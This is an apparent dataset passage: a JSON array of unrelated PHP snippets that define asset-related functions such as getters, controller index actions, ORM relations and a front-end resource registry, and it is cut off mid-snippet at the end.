[ "public function get_assets_all()\n {\n return $this->assets;\n }", "function Assets() {\r\n\t\t\treturn $this->QueryPublic( 'Assets' );\r\n\t\t}", "function tw_asset_list() {\n\n\t$assets = tw_app_get('tw_registered_assets');\n\n\tif (!is_array($assets)) {\n\t\t$assets = [];\n\t}\n\n\treturn $assets;\n\n}", "public function assets()\r\n {\r\n return $this->httpRequest(\"v2/assets\");\r\n }", "public function getAssets();", "public function getAssets();", "public function getAssets(): array {\n\t\treturn $this->assets;\n\t}", "protected function getAssets() { return array(); }", "public function getAssets()\n {\n return $this->assets;\n }", "public function get_assets($queryargs = array()) {\n $query = \"/assets/\";\n return $this->get_list_data($query, $queryargs);\n }", "public function get_assets() \n {\n return $this->assets;\n }", "function getAssets();", "public function getAssets()\n {\n return $this->getService('assets');\n }", "public function getAssets()\n {\n\n }", "protected function get_assets() {\n\t\treturn [\n\t\t\tnew StyleAsset(\n\t\t\t\tself::CSS_HANDLE,\n\t\t\t\tself::CSS_URI\n\t\t\t),\n\t\t];\n\t}", "public function assets()\n {\n return $this->morphToMany('HugoKalidas\\LaravelFlexCms\\Assets\\Assets' , 'assetable');\n }", "public function getAssets()\n {\n return $this->hasMany(Asset::className(), ['asset_gl_acc_id' => 'account_id']);\n }", "function assets()\n {\n return new Assets($this->accessToken, $this->spaceId, $this->cacher);\n }", "public function getAssets()\n {\n\n return collect($this->getWorkspaceApps()->toArray())->flatMap(function ($workspaceApps) {\n /** @var WorkspaceApp $workspaceApps */\n return collect($workspaceApps->getFiles()->toArray());\n })->reduce(function ($assets, $file) {\n // Merge the Assets related to each file into a single Collection of Assets for the Workspace\n /** @var File $file */\n /** @var Collection $assets */\n return $assets->merge($file->getAssets()->toArray());\n }, new Collection())\n // Filter out any suppressed or deleted Assets\n ->filter(function($asset) {\n /** @var $asset Asset */\n // Exclude deleted Assets\n return $asset->getDeleted() !== true && $asset->getSuppressed() !== true;\n });\n }", "public static function assets()\n {\n return static::instance();\n }", "public function getAssets(array $options = null)\n\t{\n\t\treturn $this->getResourceChildCollection('assets', $options);\n\t}", "public function getAssets(): ?array\n {\n return $this->assets;\n }", "public function index()\n {\n $assets = Asset::with('location.building', 'category.parentcatrecursive', 'location.region')->where('deleted_at', '=', null)->paginate(config('globalSettings.entries-per-page'));\n return view('admin.assets.assets',\n [\n 'assets' => $assets\n ]\n );\n }", "public function assets()\n {\n return $this->morphMany(Asset::class, 'assetable');\n }", "public static function assets(){\n return self::adapterURI().\"assets/\";\n }", "public function getAssets()\n {\n /** @var WebApplication|ConsoleApplication $this */\n return $this->get('assets');\n }", "public function index()\n {\n $assets = Asset::all();\n return view('admin.asset.index', compact('assets'));\n }", "public function assets(): Assets\n {\n return new Assets($this);\n }", "public function getAssets($assets)\n {\n $result = $this->newAPIRequest('GET', '/assets', ['assets' => implode(',', $assets)]);\n return $result;\n }", "public function testListAssets() {\n\n $res = TestAssetsHelper::listAssets($this->directoryAssets);\n $this->assertCount(1, $res);\n\n $this->assertRegexp(\"/syntaxhighlighter\\-.*\\.zip$/\", $res[0]);\n }", "public function getAllAssets() {\n $depts=array();\n $user = User::with('departments')->where('id', Auth::id())->first();\n foreach($user->departments as $dept) {\n $depts[] = $dept->department_id;\n\n }\n return Asset::with('loclonglat', 'catmarker')->where('deleted_at', '=', null)->whereIn('department_id', $depts)->orWhere('department_id', null)->select('id', 'cat_id', 'location_id')->get();\n }", "public function getRenderAssets(): array\n {\n return $this->getAssets(static::ASSETS_RENDER);\n }", "public function assetsDataProvider(): array\n {\n return [\n 'One asset' => [\n 'assetsData' => [\n 'asset1' => [\n 'path' => 'fruit.jpg',\n 'title' => 'Img',\n 'source' => 'Local',\n 'contentType' => 'image/jpeg',\n 'width' => 420,\n 'height' => 240,\n 'size' => 12877\n ]\n ]\n ],\n 'Two assets' => [\n 'assetsData' => [\n 'asset1' => [\n 'path' => 'image.jpg',\n 'title' => 'Img',\n 'source' => 'Local',\n 'contentType' => 'image/jpeg',\n 'width' => 420,\n 'height' => 240,\n 'size' => 12877\n ],\n 'asset2' => [\n 'path' => 'image2.jpg',\n 'title' => 'Img',\n 'source' => 'Local',\n 'contentType' => 'image/jpeg',\n 'width' => 420,\n 'height' => 240,\n 'size' => 12877\n ]\n ]\n ],\n ];\n }", "private static function assets()\n {\n $files = ['Assets'];\n $folder = static::$root.'Resources'.'/';\n\n self::call($files, $folder);\n }", "public function getAssetMappings();", "protected function getAssets()\n {\n if( ! $assets = $this->getHtml()->find('video, img, iframe, a'))\n {\n throw new Exception('No assets found in content!');\n }\n\n return $assets;\n }", "public function get() {\n $images = Storage::disk('public')->files('assets');\n // Sort naturally (e.g. so 1.png is followed by 2.png not 10.png)\n sort($images, SORT_NATURAL);\n \n return response()->json(['images' => $images]);\n }", "public static function getAssetsToRegister()\n {\n $assetsList = array(\n 'js' => array(),\n 'css' => array(),\n );\n if (self::isHomologationMode()) {\n $assetsList['js'][] = PaylineSDK::HOMO_WDGT_JS;\n $assetsList['css'][] = PaylineSDK::HOMO_WDGT_CSS;\n } else {\n $assetsList['js'][] = PaylineSDK::PROD_WDGT_JS;\n $assetsList['css'][] = PaylineSDK::PROD_WDGT_CSS;\n }\n\n return $assetsList;\n }", "public function getAssetTypes()\n {\n return $this->asset_types;\n }", "public function getAssetsWithFilenames()\n {\n $filenames = array();\n foreach ($this->getsfAssets() as $asset)\n {\n $filenames[$asset->getFilename()] = $asset;\n }\n \n return $filenames;\n }", "public function index()\n {\n $all_equipment = Equipment::all();\n $all_asset = AssetType::all();\n return view('admin/asset/assetList',compact('all_asset','all_equipment'));\n }", "public function getAssets0()\n {\n return $this->hasMany(Asset::className(), ['dep_gl_acc_id' => 'account_id']);\n }", "public function getAssets1()\n {\n return $this->hasMany(Asset::className(), ['accdep_gl_acc_id' => 'account_id']);\n }", "public function addAssets() {}", "public function addAssets() {}", "public function index()\n {\n $typesAssets = TypesAssets::all();\n return view(\"type-assets.index\", compact(\"typesAssets\"));\n }", "public function index()\n {\n $assets = Asset::query()\n ->where('model', 'Asset')\n ->orderBy('id', 'DESC')\n ->paginate();\n\n return view('admin.asset.index', compact('assets'));\n }", "public function exportedAssets(): array\n {\n $exported = [];\n\n foreach ($this->tagsByType('ExportAssets') as $export) {\n $characterId = $export->tags->item;\n\n foreach ($export->names->item as $name) {\n $exported[(string) $name] = (int) $characterId;\n }\n }\n\n return $exported;\n }", "protected function assets()\n\t{\n\t\tswitch($this->method)\n\t\t{\n\t\t\tcase 'GET':\n\t\t\t\t\n\t\t\t\t$ev = 'read';\n\t\t\t\t$evObj = array(\"assettype\"=>$this->verb,\"args\"=>$this->args);\n\t\t\tbreak;\n\t\t\tcase 'POST':\n\t\t\t\t\n\t\t\t\t$ev = 'update';\n\t\t\t\t$evObj = array('id'=>$this->verb,'args'=>$this->args);\n\t\t\tbreak;\n\t\t\tcase 'PUT':\t\t\t\t\n\t\t\t\t$ev = 'create';\n\t\t\t\t$evObj = array('args'=>$this->verb);\n\t\t\tbreak;\n\t\t\tcase 'DELETE':\n\t\t\t\t\n\t\t\t\t$ev = 'delete';\n\t\t\t\t$evObj = array('id'=>$this->verb,'args'=>$this->args);\n\t\t\tbreak;\n\t\t}\n\t\t\n\t\t$this->fireEvent($this->endpoint,$ev,\"before\",$evObj);\n\t\t$obj = $this->$ev();\n\t\t$evObj['results']=$obj;\n\t\t$this->fireEvent($this->endpoint,$ev,\"after\",$evObj);\n\t\treturn $obj;\n\t}", "public function load_assets() {}", "public function getAssets($folder, $locale = null);", "public function actionIndex()\n {\n $searchModel = new Searchasset();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function getAssets3()\n {\n return $this->hasMany(Asset::className(), ['sales_gl_acc_id' => 'account_id']);\n }", "public function get()\n {\n $this->_access(\"get\");\n $data = $this->Assets_model->getAdList(Assets_model::FULL_LIST);\n $this->_returnAjax(true, $data);\n }", "public function getOrderAssets()\n {\n return $this->hasMany(OrderAsset::className(), ['cook_id' => 'id']);\n }", "public static function plugin_assets() {\r\n $default_assets = array(\r\n\r\n // handle => location ( in /assets/js/ ) ( without .js ext).\r\n 'js' => array(\r\n 'bstone-light-js' => 'bstone-light-script',\r\n ),\r\n\r\n // handle => location ( in /assets/css/ ) ( without .css ext).\r\n 'css' => array(\r\n 'bstone-light-style' => 'bstone-light-style',\r\n ),\r\n );\r\n\r\n return apply_filters( 'bstone_light_assets', $default_assets );\r\n }", "public function index()\n {\n $assets = Asset::filter()->paginate(30);\n $assets->appends(array_filter(\\Request::all()));\n\n $view = \\Request::get('view', 'list');\n $loadview = $view == 'grid' ? 'assets.grid' : 'assets.index';\n return View($loadview, compact('assets','view'));\n }", "public function getEditorAssets(): array\n {\n return $this->getAssets(static::ASSETS_EDITOR);\n }", "public function getAssets2()\n {\n return $this->hasMany(Asset::className(), ['disposal_gl_acc_id' => 'account_id']);\n }", "public function get_assets( $query = array() ) {\n\t\t$query = wp_parse_args(\n\t\t\t$query,\n\t\t\tarray(\n\t\t\t\t'expand' => 'subjects,metadata,pages',\n\t\t\t\t'status' => '1', // Limit to published.\n\t\t\t)\n\t\t);\n\n\t\t$assets = $this->request( 'assets', $query );\n\n\t\treturn $assets;\n\t}", "private function assets()\n {\n $relative_location = 'assets/';\n $assets_directory = realpath($this->args['location'] . DIRECTORY_SEPARATOR . '..') . DIRECTORY_SEPARATOR . $relative_location;\n if (!is_dir($assets_directory))\n {\n if (mkdir($assets_directory, 0755))\n {\n $message = \"\\tCreated folder: \";\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'green') . $relative_location;\n }\n else\n {\n $message .= $relative_location;\n }\n }\n }\n $assets_directories = array(\n 'css' => 'css' . DIRECTORY_SEPARATOR,\n 'img' => 'img' . DIRECTORY_SEPARATOR,\n 'js' => 'js' . DIRECTORY_SEPARATOR\n );\n foreach ($assets_directories as $asset_type => $asset_directory)\n {\n $ad = $assets_directory . $asset_directory;\n if (!is_dir($ad) && mkdir($ad, 0755))\n {\n $message = \"\\tCreated folder: \";\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'green') . $relative_location . $asset_directory;\n }\n else\n {\n $message .= $relative_location . $asset_directory;\n }\n }\n\n if (!empty($this->args['subdirectories']))\n {\n $ad .= $this->args['subdirectories'] . DIRECTORY_SEPARATOR;\n if (!is_dir($assets_directory . $asset_directory . $this->args['subdirectories']) && mkdir($assets_directory . $asset_directory . $this->args['subdirectories'], 0755, TRUE))\n {\n $message = \"\\tCreated folder: \";\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'green') . $relative_location . $asset_directory . $this->args['subdirectories'];\n }\n else\n {\n $message .= $relative_location . $asset_directory . $this->args['subdirectories'];\n }\n }\n }\n\n if (isset($message))\n {\n fwrite(STDOUT, $message . \"\\n\");\n unset($message);\n }\n\n if ($asset_type === 'img')\n {\n continue;\n }\n else\n {\n $ad .= $this->args['name'] . '.' . $asset_type;\n if (!is_file($ad) && touch($ad))\n {\n $message = \"\\tCreated asset: \";\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'green') . $relative_location . $asset_directory;\n if (!empty($this->args['subdirectories']))\n {\n $message .= $this->args['subdirectories'] . DIRECTORY_SEPARATOR;\n }\n $message .= $this->args['name'] . '.' . $asset_type;\n }\n else\n {\n $message .= $relative_location . $asset_directory;\n if (!empty($this->args['subdirectories']))\n {\n $message .= $this->args['subdirectories'] . DIRECTORY_SEPARATOR;\n }\n $message .= $this->args['name'] . '.' . $asset_type;\n }\n \n fwrite(STDOUT, $message . \"\\n\");\n unset($message);\n }\n else\n {\n $message = \"\\tAsset already exists: \" . $relative_location . $asset_directory;\n if (!empty($this->args['subdirectories']))\n {\n $message .= $this->args['subdirectories'] . DIRECTORY_SEPARATOR;\n }\n $message .= $this->args['name'] . '.' . $asset_type;\n \n fwrite(STDOUT, $message . \"\\n\");\n unset($message);\n }\n }\n\n unset($ad);\n }\n \n return true;\n }", "public static function get_user_assets($conn, $login) \n {\n Ossim_db::check_connection($conn);\n \n $assets = array();\n \n $params = array($login);\n $query = ossim_query(\"SELECT HEX(asset_id) AS asset_id FROM acl_assets WHERE login = ?\"); \n \n $rs = $conn->Execute($query, $params); \n \n if (!$rs)\n {\n Av_exception::write_log(Av_exception::DB_ERROR, $conn->ErrorMsg());\n \n return $assets; \n } \n \n while (!$rs->EOF) \n {\n // Asset is a host or a net\n if (($obj = Asset_net::get_object($conn, $rs->fields['asset_id'], TRUE)) != NULL)\n {\n $assets[$obj->get_id()] = $obj;\n } \n elseif (($obj = Asset_host::get_object($conn, $rs->fields['asset_id'], TRUE)) != NULL) \n {\n $assets[$obj->get_id()] = $obj;\n }\n \n $rs->MoveNext();\n }\n \n return $assets;\n }", "public function getAssetTypes()\n {\n return $this->hasMany(AssetType::className(), ['asset_gl_acc_id' => 'account_id']);\n }", "public function ListAssets(\\Google\\Cloud\\SecurityCenter\\V1\\ListAssetsRequest $argument,\n $metadata = [], $options = []) {\n return $this->_simpleRequest('/google.cloud.securitycenter.v1.SecurityCenter/ListAssets',\n $argument,\n ['\\Google\\Cloud\\SecurityCenter\\V1\\ListAssetsResponse', 'decode'],\n $metadata, $options);\n }", "private function getMixAssets()\n {\n return $this->mixAssets;\n }", "private function get_asset_services()\n {\n return [\n Assets\\FrontEnd::class,\n Assets\\AdminSide::class\n ];\n }", "public static function get_resources() {\n if (self::$resource_list === NULL) {\n $base = self::$base_url;\n if (!self::$js_path) {\n self::$js_path = $base . 'media/js/';\n }\n elseif (substr(self::$js_path, -1) != \"/\") {\n // Ensure a trailing slash.\n self::$js_path .= \"/\";\n }\n if (!self::$css_path) {\n self::$css_path = $base . 'media/css/';\n }\n elseif (substr(self::$css_path, -1) != '/') {\n // Ensure a trailing slash.\n self::$css_path .= \"/\";\n }\n global $indicia_theme, $indicia_theme_path;\n if (!isset($indicia_theme)) {\n // Use default theme if page does not specify it's own.\n $indicia_theme = 'default';\n }\n if (!isset($indicia_theme_path)) {\n // Use default theme path if page does not specify it's own.\n $indicia_theme_path = preg_replace('/css\\/$/', 'themes/', self::$css_path);\n }\n // Ensure a trailing slash.\n if (substr($indicia_theme_path, -1) !== '/') {\n $indicia_theme_path .= '/';\n }\n self::$resource_list = [\n 'indiciaFns' => [\n 'deps' => ['jquery'],\n 'javascript' => [self::$js_path . \"indicia.functions.js\"],\n ],\n 'jquery' => [\n 'javascript' => [\n self::$js_path . 'jquery.js',\n self::$js_path . 'ie_vml_sizzlepatch_2.js',\n ],\n ],\n 'datepicker' => [\n 'deps' => ['jquery_cookie'],\n 'javascript' => [\n self::$js_path . 'indicia.datepicker.js',\n self::$js_path . 'date.polyfill/better-dom/dist/better-dom.min.js',\n self::$js_path . 'date.polyfill/better-dateinput-polyfill/dist/better-dateinput-polyfill.min.js',\n ]\n ],\n 'sortable' => [\n 'javascript' => ['https://cdn.jsdelivr.net/npm/sortablejs@latest/Sortable.js'],\n ],\n 'openlayers' => [\n 'javascript' => [\n self::$js_path . (function_exists('iform_openlayers_get_file') ? iform_openlayers_get_file() : 'OpenLayers.js'),\n self::$js_path . 'proj4js.js',\n self::$js_path . 'proj4defs.js',\n self::$js_path . 'lang/en.js',\n ],\n ],\n 'graticule' => [\n 'deps' => ['openlayers'],\n 'javascript' => [self::$js_path . 'indiciaGraticule.js'],\n ],\n 'clearLayer' => [\n 'deps' => ['openlayers'],\n 'javascript' => [self::$js_path . 'clearLayer.js'],\n ],\n 'hoverControl' => [\n 'deps' => ['openlayers'],\n 'javascript' => [self::$js_path . 'hoverControl.js'],\n ],\n 'addrowtogrid' => [\n 'deps' => ['validation'],\n 'javascript' => [self::$js_path . \"addRowToGrid.js\"],\n ],\n 'speciesFilterPopup' => [\n 'deps' => ['addrowtogrid'],\n 'javascript' => [self::$js_path . \"speciesFilterPopup.js\"],\n ],\n 'indiciaMapPanel' => [\n 'deps' => ['jquery', 'openlayers', 'jquery_ui', 'jquery_cookie', 'hoverControl'],\n 'javascript' => [self::$js_path . \"jquery.indiciaMapPanel.js\"],\n ],\n 'indiciaMapEdit' => [\n 'deps' => ['indiciaMap'],\n 'javascript' => [self::$js_path . \"jquery.indiciaMap.edit.js\"],\n ],\n 'postcode_search' => [\n 'javascript' => [self::$js_path . \"postcode_search.js\"],\n ],\n 'locationFinder' => [\n 'deps' => ['indiciaMapEdit'],\n 'javascript' => [self::$js_path . \"jquery.indiciaMap.edit.locationFinder.js\"],\n ],\n 'createPersonalSites' => [\n 'deps' => ['jquery'],\n 'javascript' => [self::$js_path . \"createPersonalSites.js\"],\n ],\n 'autocomplete' => [\n 'deps' => ['jquery'],\n 'stylesheets' => [self::$css_path . \"jquery.autocomplete.css\"],\n 'javascript' => [self::$js_path . \"jquery.autocomplete.js\"],\n ],\n 'addNewTaxon' => [\n 'javascript' => [self::$js_path . \"addNewTaxon.js\"],\n ],\n 'import' => [\n 'javascript' => [self::$js_path . \"import.js\"],\n ],\n 'indicia_locks' => [\n 'deps' => ['jquery_cookie', 'json'],\n 'javascript' => [self::$js_path . \"indicia.locks.js\"],\n ],\n 'jquery_cookie' => [\n 'deps' => ['jquery'],\n 'javascript' => [self::$js_path . \"jquery.cookie.js\"],\n ],\n 'jquery_ui' => [\n 'deps' => ['jquery'],\n 'stylesheets' => [\n self::$css_path . 'jquery-ui.min.css',\n \"$indicia_theme_path$indicia_theme/jquery-ui.theme.min.css\",\n ],\n 'javascript' => [\n self::$js_path . 'jquery-ui.min.js',\n self::$js_path . 'jquery-ui.effects.js',\n ]\n ],\n 'jquery_ui_fr' => [\n 'deps' => ['jquery_ui'],\n 'javascript' => [self::$js_path . \"jquery.ui.datepicker-fr.js\"]\n ],\n 'jquery_form' => [\n 'deps' => ['jquery'],\n 'javascript' => [self::$js_path . \"jquery.form.min.js\"],\n ],\n 'reportPicker' => [\n 'deps' => ['treeview', 'fancybox'],\n 'javascript' => [self::$js_path . \"reportPicker.js\"],\n ],\n 'treeview' => ['deps' => ['jquery'], 'stylesheets' => [self::$css_path.\"jquery.treeview.css\"], 'javascript' => [self::$js_path.\"jquery.treeview.js\"]],\n 'treeview_async' => ['deps' => ['treeview'], 'javascript' => [self::$js_path.\"jquery.treeview.async.js\", self::$js_path.\"jquery.treeview.edit.js\"]],\n 'googlemaps' => [\n 'javascript' => [\"https://maps.google.com/maps/api/js?v=3\" . (empty(self::$google_maps_api_key) ? '' : '&key=' . self::$google_maps_api_key)],\n ],\n 'fancybox' => [\n 'deps' => ['jquery'],\n 'stylesheets' => [self::$js_path . 'fancybox/dist/jquery.fancybox.min.css'],\n 'javascript' => [self::$js_path . 'fancybox/dist/jquery.fancybox.min.js'],\n ],\n 'treeBrowser' => [\n 'deps' => ['jquery', 'jquery_ui'],\n 'javascript' => [self::$js_path . 'jquery.treebrowser.js']\n ],\n 'defaultStylesheet' => [\n 'deps' => [''],\n 'stylesheets' => [\n self::$css_path . 'default_site.css',\n self::$css_path . 'theme-generic.css'\n ],\n 'javascript' => []\n ],\n 'validation' => [\n 'deps' => ['jquery'],\n 'javascript' => [\n self::$js_path . 'jquery.metadata.js',\n self::$js_path . 'jquery.validate.js',\n self::$js_path . 'additional-methods.js',\n ],\n ],\n 'plupload' => [\n 'deps' => ['jquery_ui', 'fancybox'],\n 'javascript' => [\n self::$js_path . 'jquery.uploader.js',\n self::$js_path . 'plupload/js/plupload.full.min.js',\n ]\n ],\n 'uploader' => [\n 'deps' => ['jquery', 'dmUploader'],\n 'javascript' => [\n self::$js_path . 'uploader.js',\n ],\n ],\n 'dmUploader' => [\n 'stylesheets' => [\n self::$js_path . 'uploader/dist/css/jquery.dm-uploader.min.css',\n ],\n 'javascript' => [\n self::$js_path . 'uploader/dist/js/jquery.dm-uploader.min.js',\n ]\n ],\n 'jqplot' => [\n 'stylesheets' => [self::$js_path . 'jqplot/jquery.jqplot.min.css'],\n 'javascript' => [\n self::$js_path . 'jqplot/jquery.jqplot.min.js',\n '[IE]' . self::$js_path . 'jqplot/excanvas.js'\n ],\n ],\n 'jqplot_bar' => [\n 'javascript' => [\n self::$js_path . 'jqplot/plugins/jqplot.barRenderer.js',\n ],\n ],\n 'jqplot_pie' => [\n 'javascript' => [\n self::$js_path . 'jqplot/plugins/jqplot.pieRenderer.js',\n ],\n ],\n 'jqplot_category_axis_renderer' => [\n 'javascript' => [self::$js_path . 'jqplot/plugins/jqplot.categoryAxisRenderer.js'],\n ],\n 'jqplot_canvas_axis_label_renderer' => [\n 'javascript' => [\n self::$js_path . 'jqplot/plugins/jqplot.canvasTextRenderer.js',\n self::$js_path . 'jqplot/plugins/jqplot.canvasAxisLabelRenderer.js',\n ],\n ],\n 'jqplot_trendline' => [\n 'javascript' => [\n self::$js_path . 'jqplot/plugins/jqplot.trendline.js',\n ],\n ],\n 'reportgrid' => [\n 'deps' => ['jquery_ui', 'jquery_cookie'],\n 'javascript' => [\n self::$js_path . 'jquery.reportgrid.js',\n ]\n ],\n 'reportfilters' => [\n 'deps' => ['reportgrid'],\n 'stylesheets' => [self::$css_path . 'report-filters.css'],\n 'javascript' => [self::$js_path . 'reportFilters.js'],\n ],\n 'tabs' => [\n 'deps' => ['jquery_ui'],\n 'javascript' => [self::$js_path . 'tabs.js'],\n ],\n 'wizardprogress' => [\n 'deps' => ['tabs'],\n 'stylesheets' => [self::$css_path . 'wizard_progress.css']\n ],\n 'spatialReports' => [\n 'javascript' => [self::$js_path . 'spatialReports.js'],\n ],\n 'jsonwidget' => [\n 'deps' => ['jquery'],\n 'javascript' => [\n self::$js_path . 'jsonwidget/jsonedit.js',\n self::$js_path . 'jquery.jsonwidget.js',\n ],\n 'stylesheets' => [self::$css_path . 'jsonwidget.css'],\n ],\n 'timeentry' => [\n 'javascript' => [self::$js_path . 'jquery.timeentry.min.js'],\n ],\n 'verification' => [\n 'javascript' => [self::$js_path . 'verification.js'],\n ],\n 'control_speciesmap_controls' => [\n 'deps' => [\n 'jquery',\n 'openlayers',\n 'addrowtogrid',\n 'validation',\n ],\n 'javascript' => [\n self::$js_path . 'controls/speciesmap_controls.js',\n ],\n ],\n 'complexAttrGrid' => [\n 'javascript' => [self::$js_path . 'complexAttrGrid.js'],\n ],\n 'footable' => [\n 'stylesheets' => [self::$js_path . 'footable/css/footable.core.min.css'],\n // Note, the minified version not used as it does not contain bugfixes.\n // 'javascript' => [self::$js_path.'footable/dist/footable.min.js']\n 'javascript' => [self::$js_path . 'footable/js/footable.js'],\n 'deps' => ['jquery'],\n ],\n 'footableSort' => [\n 'javascript' => [self::$js_path . 'footable/dist/footable.sort.min.js'],\n 'deps' => ['footable'],\n ],\n 'footableFilter' => [\n 'javascript' => [self::$js_path . 'footable/dist/footable.filter.min.js'],\n 'deps' => ['footable'],\n ],\n 'indiciaFootableReport' => [\n 'javascript' => [self::$js_path . 'jquery.indiciaFootableReport.js'],\n 'deps' => ['footable'],\n ],\n 'indiciaFootableChecklist' => [\n 'stylesheets' => [self::$css_path . 'jquery.indiciaFootableChecklist.css'],\n 'javascript' => [self::$js_path . 'jquery.indiciaFootableChecklist.js'],\n 'deps' => ['footable']\n ],\n 'html2pdf' => [\n 'javascript' => [\n self::$js_path . 'html2pdf/dist/html2pdf.bundle.min.js',\n ],\n ],\n 'review_input' => [\n 'javascript' => [self::$js_path . 'jquery.reviewInput.js'],\n ],\n 'sub_list' => [\n 'javascript' => [self::$js_path . 'sub_list.js'],\n ],\n 'georeference_default_geoportal_lu' => [\n 'javascript' => [self::$js_path . 'drivers/georeference/geoportal_lu.js'],\n ],\n 'georeference_default_nominatim' => [\n 'javascript' => [self::$js_path . 'drivers/georeference/nominatim.js'],\n ],\n 'georeference_default_google_places' => [\n 'javascript' => [self::$js_path . 'drivers/georeference/google_places.js'],\n ],\n 'georeference_default_indicia_locations' => [\n 'javascript' => [self::$js_path . 'drivers/georeference/indicia_locations.js'],\n ],\n 'sref_handlers_2169' => [\n 'javascript' => [self::$js_path . 'drivers/sref/2169.js'],\n ],\n 'sref_handlers_4326' => [\n 'javascript' => [self::$js_path . 'drivers/sref/4326.js'],\n ],\n 'sref_handlers_osgb' => [\n 'javascript' => [self::$js_path . 'drivers/sref/osgb.js'],\n ],\n 'sref_handlers_osie' => [\n 'javascript' => [self::$js_path . 'drivers/sref/osie.js'],\n ],\n 'font_awesome' => [\n 'stylesheets' => ['https://use.fontawesome.com/releases/v5.15.4/css/all.css']\n ],\n 'leaflet' => [\n 'stylesheets' => ['https://unpkg.com/[email protected]/dist/leaflet.css'],\n 'javascript' => [\n 'https://unpkg.com/[email protected]/dist/leaflet.js',\n 'https://cdnjs.cloudflare.com/ajax/libs/wicket/1.3.3/wicket.min.js',\n 'https://cdnjs.cloudflare.com/ajax/libs/wicket/1.3.3/wicket-leaflet.min.js',\n self::$js_path . 'leaflet.heat/dist/leaflet-heat.js',\n ],\n ],\n 'leaflet_google' => [\n 'deps' => [\n 'googlemaps'\n ],\n 'javascript' => [\n 'https://unpkg.com/leaflet.gridlayer.googlemutant@latest/dist/Leaflet.GoogleMutant.js',\n ],\n ],\n 'datacomponents' => [\n 'deps' => [\n 'font_awesome',\n 'indiciaFootableReport',\n 'jquery_cookie',\n ],\n 'javascript' => [\n self::$js_path . 'indicia.datacomponents/idc.core.js',\n self::$js_path . 'indicia.datacomponents/idc.controlLayout.js',\n self::$js_path . 'indicia.datacomponents/idc.esDataSource.js',\n self::$js_path . 'indicia.datacomponents/idc.pager.js',\n self::$js_path . 'indicia.datacomponents/jquery.idc.customScript.js',\n self::$js_path . 'indicia.datacomponents/jquery.idc.runCustomVerificationRulesets.js',\n self::$js_path . 'indicia.datacomponents/jquery.idc.cardGallery.js',\n self::$js_path . 'indicia.datacomponents/jquery.idc.dataGrid.js',\n self::$js_path . 'indicia.datacomponents/jquery.idc.esDownload.js',\n self::$js_path . 'indicia.datacomponents/jquery.idc.leafletMap.js',\n self::$js_path . 'indicia.datacomponents/jquery.idc.recordsMover.js',\n self::$js_path . 'indicia.datacomponents/jquery.idc.recordDetailsPane.js',\n self::$js_path . 'indicia.datacomponents/jquery.idc.templatedOutput.js',\n self::$js_path . 'indicia.datacomponents/jquery.idc.verificationButtons.js',\n self::$js_path . 'indicia.datacomponents/jquery.idc.filterSummary.js',\n self::$js_path . 'indicia.datacomponents/jquery.idc.permissionFilters.js',\n 'https://unpkg.com/@ungap/url-search-params',\n ],\n ],\n 'file_classifier' => [\n 'deps' => [\n 'plupload',\n 'jquery_ui',\n ],\n 'javascript' => [\n self::$js_path . 'jquery.fileClassifier.js',\n ],\n ],\n 'brc_atlas' => [\n 'deps' => [\n 'd3',\n 'bigr',\n 'leaflet',\n ],\n 'stylesheets' => [\n 'https://cdn.jsdelivr.net/gh/biologicalrecordscentre/[email protected]/dist/brcatlas.umd.css',\n ],\n 'javascript' => [\n 'https://cdn.jsdelivr.net/gh/biologicalrecordscentre/[email protected]/dist/brcatlas.umd.min.js',\n ],\n ],\n 'brc_charts' => [\n 'deps' => [\n 'd3',\n ],\n 'stylesheets' => [\n 'https://cdn.jsdelivr.net/gh/biologicalrecordscentre/[email protected]/dist/brccharts.umd.css',\n ],\n 'javascript' => [\n 'https://cdn.jsdelivr.net/gh/biologicalrecordscentre/[email protected]/dist/brccharts.umd.min.js',\n ],\n ],\n 'd3' => [\n 'javascript' => [\n 'https://d3js.org/d3.v5.min.js',\n ],\n ],\n 'bigr' => [\n 'javascript' => [\n 'https://unpkg.com/[email protected]/dist/bigr.min.umd.js',\n ],\n ],\n ];\n }\n return self::$resource_list;\n }", "public function productAssets()\n {\n $variations = ProductVariation::with('stocks')->get();\n $assets = $variations->sum(function ($variant) {\n return $variant->stockCount() * $variant->base_price;\n });\n\n $opAssets = $variations->sum(function ($variant) {\n return $variant->stockCount() * $variant->price;\n });\n\n return [\n 'assets' => $assets,\n 'op_asset' => $opAssets\n ];\n }", "public function assets()\n {\n return $this->hasMany(Asset::class, 'supplier_id','id');\n }", "public function getScenarioAssets()\n {\n $scenario = Scenarios::getOrCreateUserScenario();\n $categories = $scenario->categories()->get();\n\n $scenarioAssetsArray = [];\n foreach ($categories as $category) {\n foreach ($category->assets as $asset) {\n $scenarioAssetsArray[] = [\n 'asset' => [\n 'name' => $asset->name,\n 'self' => route('assets.show', $asset->id),\n ],\n 'category' => [\n 'name' => $asset->category->name,\n 'symbol' => $asset->category->symbol,\n 'self' => route('categories.show', $asset->category->id),\n ],\n 'state_color' => $asset->computeState(), //status\n 'water_depth' => $asset->getCurrentWaterDepth(),\n 'type' => $asset->geometry_type,\n 'threshold_correction' => $asset->threshold_correction,\n ];\n }\n\n if ($subCategories = $category->children()->get()) {\n foreach ($subCategories as $subCategory) {\n foreach ($subCategory->assets as $subCatAsset) {\n $scenarioAssetsArray[] = [\n 'name' => $subCatAsset->name,\n 'category' => [\n 'name' => $subCatAsset->category->name,\n 'symbol' => $subCatAsset->category->symbol,\n 'self' => route('categories.show', $subCatAsset->category->id),\n ],\n 'state_color' => $subCatAsset->computeState(), //status\n 'water_depth' => $subCatAsset->getCurrentWaterDepth(),\n 'type' => $subCatAsset->geometry_type,\n 'threshold_correction' => $subCatAsset->threshold_correction,\n ];\n }\n }\n }\n }\n\n return response()->json($scenarioAssetsArray);\n }", "public function index(Request $request)\n\t{\n\t\t\n\t\t$archived = 0;\n\t\tif($request->archived == 1)\n\t\t\t$archived = 1;\n\n\t\t$category = DB::table('assets_category')->get();\n\t\t\t\n\t\t$search \t\t= request(\"search\",\"\");\n\t\t$paymentCycle \t= 